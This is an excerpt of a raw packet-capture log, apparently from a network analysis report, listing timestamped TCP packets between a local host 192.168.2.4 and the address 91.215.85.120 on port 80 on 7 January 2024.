Jan 7, 2024 05:29:23.902707100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.902733088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902780056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902810097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.902844906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902952909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902995110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.903018951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.903043985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.903058052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.903069973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.903079033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.903105974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.903143883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.903156996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.903196096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.903208017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904027939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904074907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.904103041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904172897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904206991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.904236078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904261112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904297113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.904362917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904496908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.904530048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.904836893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.905391932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.905441046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.905488968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.905725956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.905762911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.905848980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.905925989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.905957937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.906044960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906119108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906152010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.906316996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906423092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906454086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.906685114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906791925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906826019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.906855106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906941891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.906975031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.907032013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907145977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907179117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.907243013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907325983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907361031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.907429934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907500982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907533884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.907573938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907659054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907692909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.907706976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907782078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907814026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.907860041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.907994032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908031940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.908099890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908206940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908238888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.908328056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908396006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908428907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.908492088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908584118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908618927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.908693075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908771992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.908803940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.908915997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909040928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909071922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.909152031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909234047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909307957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.909333944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909404039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909437895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.909486055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909557104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909593105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.909648895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909729004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909765005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.909924984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.909974098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.910012960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.910058022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.920922041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.921004057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.960007906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.012865067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.082427979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.082508087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.082572937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.084083080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.084332943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.084373951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.084814072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.085026026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.085062981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.085153103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.085273027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.085309982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.085407972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.085484982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.085520029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.086005926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.086042881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.086077929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.086169004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.086261034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.086296082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.086381912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.086469889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.086507082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.086596966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.087167025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.087203979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.087270021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088031054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088071108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.088080883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088182926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088217020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.088310957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088392019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088430882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.088462114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088546038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088584900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088583946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.088699102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088735104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.088759899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088824987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.088860035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.088973999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089077950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089112043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.089214087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089272022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089306116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.089406967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089534044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089570999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.089622974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089719057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089754105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.089791059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089848995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.089884996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.089925051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090082884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090118885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.090147018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090239048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090279102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.090411901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090528965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090569019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.090631962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090682030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090720892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.090740919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090775013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090802908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090811014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.090848923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090887070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.090899944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.090981007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091017962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.091067076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091140985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091173887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.091212034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091389894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091425896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.091492891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091519117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091552019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.091589928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091661930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091701031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.091763973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091835976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091870070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.091907978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.091999054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.092032909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.092094898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.092202902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.092240095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.092312098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.093553066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.093614101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.093616962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.093698025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.093734980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.093775034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094192982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094229937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.094294071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094405890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094439983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.094532967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094590902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094630003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.094692945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094768047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094800949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.094849110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094940901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.094971895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.095010042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095145941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095186949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.095256090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095343113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095376015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.095494986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095655918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095689058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.095839024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095891953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.095925093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.096007109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096074104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096107006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.096153021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096241951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096276045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.096364975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096484900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096518993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.096537113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096801996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.096837044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.096919060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097007036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097039938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.097117901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097167969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097201109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.097223997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097316027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097348928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.097433090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097551107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097589970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.097606897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097700119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097739935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.097868919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.097968102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.098001003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.098021984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.098182917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.098225117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.098644972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.098742008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.098777056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.098963022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099311113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099345922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099348068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.099514961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099549055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.099576950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099637985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099670887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.099769115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099875927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.099909067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.099983931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100056887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100095987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.100126982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100188017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100222111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.100306034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100513935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100548029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.100577116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100673914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100709915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.100744009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100879908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.100914001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.100959063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101020098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101054907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.101109028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101217985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101252079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.101289034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101439953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101475954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.101521969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101655006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101690054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.101716042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101835966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.101870060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.102000952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102092981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102128983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.102190971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102287054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102319002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.102437973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102572918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102610111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.102643013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102698088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102735043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.102813005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102905989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.102940083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.103069067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.103172064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.103208065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.103277922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.103384972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.103420973 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.103509903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.103656054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.103710890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.103740931 CET	80	49735	91.215.85.120	192.168.2.4
